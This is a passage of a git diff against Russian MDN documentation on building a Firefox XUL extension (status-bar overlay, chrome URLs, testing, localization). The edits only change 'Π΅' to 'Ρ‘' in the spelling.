<p>Π’ нашСм случаС ΠΌΡ‹ Π΄ΠΎΠ±Π°Π²ΠΈΠΌ Π½ΠΎΠ²Ρ‹ΠΉ элСмСнт Π² строку статуса. Π’ Ρ„Π°ΠΉΠ»Π΅ <code>browser.xul</code> ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ ΡƒΠ·Π΅Π» с <code>id="status-bar"</code>. Π­Ρ‚ΠΎ ΠΈ Π΅ΡΡ‚ΡŒ строка статуса. Π’ этом ΡƒΠ·Π»Π΅ Π΅ΡΡ‚ΡŒ нСсколько Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… ΡƒΠ·Π»ΠΎΠ². Π”ΠΎΠ±Π°Π²ΠΈΠΌ ΠΊ Π½ΠΈΠΌ наш, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π½ΠΎΠ²ΡƒΡŽ панСль. Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Ρ„Π°ΠΉΠ», Π½Π°Π·ΠΎΠ²ΠΈΡ‚Π΅ Π΅Π³ΠΎ, скаТСм, <code><strong>sample.xul</strong></code> ΠΈ помСститС Π² ΠΏΠ°ΠΏΠΊΡƒ <code>chrome/content</code>. ВнСситС Ρ‚ΡƒΠ΄Π° Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄:</p>
@@ -132,7 +132,7 @@ original_slug: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ
<ul>
<li>ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ» <code>chrome</code> Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΊΠ»Π°ΡΡΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ содСрТимоС Ρ„Π°ΠΉΠ»Π° ΠΊΠ°ΠΊ Ρ…Ρ€ΠΎΠΌ.</li>
- <li>Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚Π° (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС, это <code>browser</code>), ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° "свСрток" (bundle) ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² интСрфСйса. Π­Ρ‚ΠΎ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ прилоТСния/Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ.</li>
+ <li>Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΠΏΠ°ΠΊΠ΅Ρ‚Π° (Π² Π΄Π°Π½Π½ΠΎΠΌ случаС, это <code>browser</code>), ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° "свёрток" (bundle) ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² интСрфСйса. Π­Ρ‚ΠΎ Π½Π°Π·Π²Π°Π½ΠΈΠ΅ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½ΠΎ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ прилоТСния/Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ.</li>
<li>Ρ‚ΠΈΠΏ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΡ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Π•ΡΡ‚ΡŒ Ρ‚Ρ€ΠΈ Ρ‚ΠΈΠΏΠ°: <code>content</code> (XUL, JavaScript, XBL Bindings ΠΈ Π΄Ρ€., Ρ‚.Π΅. ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹, Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‰ΠΈΠ΅ Π²ΠΈΠ΄ ΠΈ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ интСрфСйса), <code>locale</code> (DTD, Ρ„Π°ΠΉΠ»Ρ‹ propeties ΠΈ Ρ‚.ΠΏ., производящиС Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ интСрфСйса) ΠΈ <code>skin</code> (CSS ΠΈ изобраТСния для формирования Ρ‚Π΅ΠΌΡ‹ интСрфСйса).</li>
<li>Ρ„Π°ΠΉΠ» для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ.</li>
</ul>
@@ -173,14 +173,14 @@ original_slug: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ
<h3 id=".D0.A2.D0.B5.D1.81.D1.82.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5" name=".D0.A2.D0.B5.D1.81.D1.82.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5">ВСстированиС</h3>
-<p>Для Π½Π°Ρ‡Π°Π»Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ‚ΡŒ Firefox ΠΎ нашСм Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΈ. РаньшС (Π΅Ρ‰Π΅ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π° Firefox 1.0) Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π±Ρ‹Π»ΠΎ ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊ <a href="/en/XPI">en:XPI</a> ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· интСрфСйс Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΆΠ΅ достаточно просто ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Firefox, Π³Π΄Π΅ находится ΠΏΠ°ΠΏΠΊΠ° с вашим Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ - ΠΈ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅.</p>
+<p>Для Π½Π°Ρ‡Π°Π»Π° Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠ²Π΅Π΄ΠΎΠΌΠΈΡ‚ΡŒ Firefox ΠΎ нашСм Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΈ. РаньшС (Π΅Ρ‰Ρ‘ Π²ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π° Firefox 1.0) Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π±Ρ‹Π»ΠΎ ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Ρ‚ΡŒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊ <a href="/en/XPI">en:XPI</a> ΠΈ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ‡Π΅Ρ€Π΅Π· интСрфСйс Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°. Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΆΠ΅ достаточно просто ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Firefox, Π³Π΄Π΅ находится ΠΏΠ°ΠΏΠΊΠ° с вашим Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ΠΌ - ΠΈ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π· ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅.</p>
<p>Π˜Ρ‚Π°ΠΊ, ваши дСйствия:</p>
<ol>
<li>НайдитС ΠΏΠ°ΠΏΠΊΡƒ с вашим ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΌ. Если Π²Ρ‹ Π½Π΅ создавали Π΅Π³ΠΎ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.<br>
<a class="external" href="http://kb.mozillazine.org/Profile_folder">Как Π½Π°ΠΉΡ‚ΠΈ ΠΏΠ°ΠΏΠΊΡƒ с ΠΏΡ€ΠΎΡ„ΠΈΠ»Π΅ΠΌ.</a></li>
- <li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ΠΏΠ°ΠΏΠΊΡƒ <code>extensions</code>. Если Π΅Π΅ Π½Π΅Ρ‚, создайтС Π΅Π΅.</li>
+ <li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ ΠΏΠ°ΠΏΠΊΡƒ <code>extensions</code>. Если Π΅Ρ‘ Π½Π΅Ρ‚, создайтС Π΅Π΅.</li>
<li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ Π½ΠΎΠ²Ρ‹ΠΉ тСкстовый Ρ„Π°ΠΉΠ» ΠΈ помСститС Π² Π½Π΅Π³ΠΎ лишь ΠΏΡƒΡ‚ΡŒ ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ (Π½Π°ΠΏΡ€., <code>C:\extensions\my_extension\</code> для Windows ΠΈΠ»ΠΈ <code>~/extensions/my_extension/</code> для Unix/Linux). Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ» ΠΏΠΎΠ΄ ΠΈΠΌΠ΅Π½Π΅ΠΌ, ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²Ρ‹ΠΌ с <code>id</code> вашСго Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ.</li>
</ol>
@@ -188,7 +188,7 @@ original_slug: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ
<ul>
<li>НС Π·Π°Π±ΡƒΠ΄ΡŒΡ‚Π΅ Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‰ΠΈΠΉ слСш.</li>
- <li>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΈΠ·-Π·Π° Π·Π½Π°ΠΊΠΎΠ² Π½ΠΈΠΆΠ½Π΅Π³ΠΎ подчСркивания Π² Π½Π°Π·Π²Π°Π½ΠΈΠΈ; Ссли Ρ‚Π°ΠΊ Π²Ρ‹ΡˆΠ»ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ.</li>
+ <li>Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΎΠ·Π½ΠΈΠΊΠ½ΠΎΠ²Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΈΠ·-Π·Π° Π·Π½Π°ΠΊΠΎΠ² Π½ΠΈΠΆΠ½Π΅Π³ΠΎ подчёркивания Π² Π½Π°Π·Π²Π°Π½ΠΈΠΈ; Ссли Ρ‚Π°ΠΊ Π²Ρ‹ΡˆΠ»ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ.</li>
</ul>
<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π²Ρ‹ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ ΠΊ Ρ‚Π΅ΡΡ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ вашСго Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ. ЗапуститС Firefox. Он ΡƒΠ²ΠΈΠ΄ΠΈΡ‚ ссылку ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ ΠΈ установит Π΅Π³ΠΎ. Если всС ΠΏΡ€ΠΎΡˆΠ»ΠΎ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ, Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ надпись "Hello, World!" Π² строкС статуса справа. Для внСсСния ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ достаточно ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ <code>xul</code>-Ρ„Π°ΠΉΠ»Ρ‹ ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Firefox.</p>
@@ -205,11 +205,11 @@ original_slug: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ
<h4 id=".D0.A1.D0.B0.D0.B9.D1.82_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D0.B9_addons.mozilla.org" name=".D0.A1.D0.B0.D0.B9.D1.82_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D0.B9_addons.mozilla.org">Π‘Π°ΠΉΡ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ addons.mozilla.org</h4>
-<p>Π‘Π°ΠΉΡ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ Mozilla (<a class="external" href="http://addons.mozilla.org" rel="freelink">http://addons.mozilla.org</a>) являСтся мСстом, Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ бСсплатно Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ своС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅. Π‘Π°ΠΉΡ‚ являСтся Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΌ ΠΈ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ мСстом для распространСния своих Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ: достаточно лишь Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ - ΠΈ Π²Ρ‹ смоТСтС Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ свои Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° сСрвСр.</p>
+<p>Π‘Π°ΠΉΡ‚ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ Mozilla (<a class="external" href="http://addons.mozilla.org" rel="freelink">http://addons.mozilla.org</a>) являСтся мСстом, Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ бСсплатно Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ своё Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅. Π‘Π°ΠΉΡ‚ являСтся Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΌ ΠΈ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΌ мСстом для распространСния своих Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ: достаточно лишь Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ - ΠΈ Π²Ρ‹ смоТСтС Π·Π°Π³Ρ€ΡƒΠΆΠ°Ρ‚ΡŒ свои Ρ„Π°ΠΉΠ»Ρ‹ Π½Π° сСрвСр.</p>
<h4 id=".D0.A0.D0.B5.D0.B3.D0.B8.D1.81.D1.82.D1.80.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D1.8F_.D0.B2_.D1.80.D0.B5.D0.B5.D1.81.D1.82.D1.80.D0.B5_Windows" name=".D0.A0.D0.B5.D0.B3.D0.B8.D1.81.D1.82.D1.80.D0.B8.D1.80.D0.BE.D0.B2.D0.B0.D0.BD.D0.B8.D0.B5_.D1.80.D0.B0.D1.81.D1.88.D0.B8.D1.80.D0.B5.D0.BD.D0.B8.D1.8F_.D0.B2_.D1.80.D0.B5.D0.B5.D1.81.D1.82.D1.80.D0.B5_Windows">РСгистрированиС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ Π² рССстрС Windows</h4>
-<p>Π’ Windows информация ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° Π² рССстр. Π­Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ возмоТности ΠΏΡ€ΠΈ установкС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± этом Ρ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ здСсь.</p>
+<p>Π’ Windows информация ΠΎ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Π° Π² рССстр. Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ возмоТности ΠΏΡ€ΠΈ установкС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠΉ. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± этом Ρ‡ΠΈΡ‚Π°ΠΉΡ‚Π΅ здСсь.</p>
<h3 id=".D0.A3.D0.B7.D0.BD.D0.B0.D0.B9.D1.82.D0.B5_.D0.B1.D0.BE.D0.BB.D1.8C.D1.88.D0.B5_.D0.BE.D0.B1_.D0.BE.D0.B2.D0.B5.D1.80.D0.BB.D0.B5.D1.8F.D1.85_XUL" name=".D0.A3.D0.B7.D0.BD.D0.B0.D0.B9.D1.82.D0.B5_.D0.B1.D0.BE.D0.BB.D1.8C.D1.88.D0.B5_.D0.BE.D0.B1_.D0.BE.D0.B2.D0.B5.D1.80.D0.BB.D0.B5.D1.8F.D1.85_XUL">Π£Π·Π½Π°ΠΉΡ‚Π΅ большС ΠΎΠ± овСрлСях XUL</h3>
@@ -217,11 +217,11 @@ original_slug: Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ
<h3 id=".D0.9B.D0.BE.D0.BA.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.86.D0.B8.D1.8F" name=".D0.9B.D0.BE.D0.BA.D0.B0.D0.BB.D0.B8.D0.B7.D0.B0.D1.86.D0.B8.D1.8F">Локализация</h3>
-<p>Для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ ΠΎΠ΄Π½ΠΎΠ³ΠΎ языка Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΡ‚Π΄Π΅Π»ΠΈΡ‚ΡŒ Π»ΠΎΠΊΠ°Π»ΠΈΠ·ΡƒΠ΅ΠΌΡ‹Π΅ строки ΠΎΡ‚ основного содСрТания с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сущностСй (entities) ΠΈ "свСртков строк" (string bundles). Π“ΠΎΡ€Π°Π·Π΄ΠΎ ΠΏΡ€ΠΎΡ‰Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ это Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, Ρ‡Π΅ΠΌ послС.</p>
+<p>Для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π±ΠΎΠ»Π΅Π΅ Ρ‡Π΅ΠΌ ΠΎΠ΄Π½ΠΎΠ³ΠΎ языка Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΎΡ‚Π΄Π΅Π»ΠΈΡ‚ΡŒ Π»ΠΎΠΊΠ°Π»ΠΈΠ·ΡƒΠ΅ΠΌΡ‹Π΅ строки ΠΎΡ‚ основного содСрТания с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сущностСй (entities) ΠΈ "свёртков строк" (string bundles). Π“ΠΎΡ€Π°Π·Π΄ΠΎ ΠΏΡ€ΠΎΡ‰Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ это Π² Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ, Ρ‡Π΅ΠΌ послС.</p>
<p>Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎ Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ хранится Π² ΠΏΠΎΠ΄ΠΏΠ°ΠΏΠΊΠ΅ <code>locale</code> ΠΏΠ°ΠΏΠΊΠΈ chrome (Ρ‚.Π΅. рядом с ΠΏΠ°ΠΏΠΊΠΎΠΉ <code>content</code>). Π’ этой ΠΏΠ°ΠΏΠΊΠ΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΠ°ΠΏΠΎΠΊ, сколько Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ Π²Ρ‹ Π½Π°ΠΌΠ΅Ρ€Π΅Π½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ. ΠžΠ±Ρ‹Ρ‡Π½ΠΎΠΉ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΎΠΉ являСтся Π½Π°Π·Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΠ°ΠΏΠΊΠΈ стандартными названиями Π»ΠΎΠΊΠ°Π»Π΅ΠΉ: скаТСм, ΠΏΠ°ΠΏΠΊΡƒ с английской Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ - <code>en-US</code>, русской - <code>ru-RU</code> ΠΈ Ρ‚.ΠΏ., Ρ‡Ρ‚ΠΎ, Π²ΠΏΡ€ΠΎΡ‡Π΅ΠΌ, Π½Π΅ являСтся ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ΠΌ. Π’Π΅ΠΏΠ΅Ρ€ΡŒ создайтС Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· ΠΏΠ°ΠΏΠΎΠΊ Ρ„Π°ΠΉΠ» <code>somename.ent</code> (ΠΈΠ»ΠΈ <code>anothername.dtd</code>) (<em>имя ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Π²ΠΎ всСх ΠΏΠ°ΠΏΠΊΠ°Ρ… Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠΉ</em>) ΠΈ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ Π΅Π³ΠΎ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ (ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅).</p>
-<p>Π›ΠΎΠΊΠ°Π»ΠΈΠ·ΡƒΠ΅ΠΌ нашС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Π½Π° русский ΠΈ английский языки. ПослС создания 2 ΠΏΠ°ΠΏΠΎΠΊ (Π½Π°Π·ΠΎΠ²Π΅ΠΌ ΠΈΡ… <code>ru-RU</code> ΠΈ <code>en-US</code>), создаСм Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… Ρ„Π°ΠΉΠ» (ΠΏΡƒΡΡ‚ΡŒ <code>myStatusBar.ent</code>) ΠŸΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚Π΅ Π² Ρ‚ΠΎΡ‚ Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² ΠΏΠ°ΠΏΠΊΠ΅ с английской Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку:</p>
+<p>Π›ΠΎΠΊΠ°Π»ΠΈΠ·ΡƒΠ΅ΠΌ нашС Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΠ΅ Π½Π° русский ΠΈ английский языки. ПослС создания 2 ΠΏΠ°ΠΏΠΎΠΊ (Π½Π°Π·ΠΎΠ²Ρ‘ΠΌ ΠΈΡ… <code>ru-RU</code> ΠΈ <code>en-US</code>), создаём Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π½ΠΈΡ… Ρ„Π°ΠΉΠ» (ΠΏΡƒΡΡ‚ΡŒ <code>myStatusBar.ent</code>) ΠŸΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚Π΅ Π² Ρ‚ΠΎΡ‚ Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² ΠΏΠ°ΠΏΠΊΠ΅ с английской Π»ΠΎΠΊΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΠ΅ΠΉ, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ строку:</p>
<pre class="eval">&lt;!ENTITY statusbarpanel.label "Hello, World!"&gt;
</pre>
diff --git a/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/настройка_firefox_для_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ/index.html b/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/настройка_firefox_для_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ/index.html
index 40f1fb4b05..f1af432fe0 100644
--- a/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/настройка_firefox_для_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ/index.html
+++ b/files/ru/orphaned/созданиС_Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡ/настройка_firefox_для_Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ/index.html
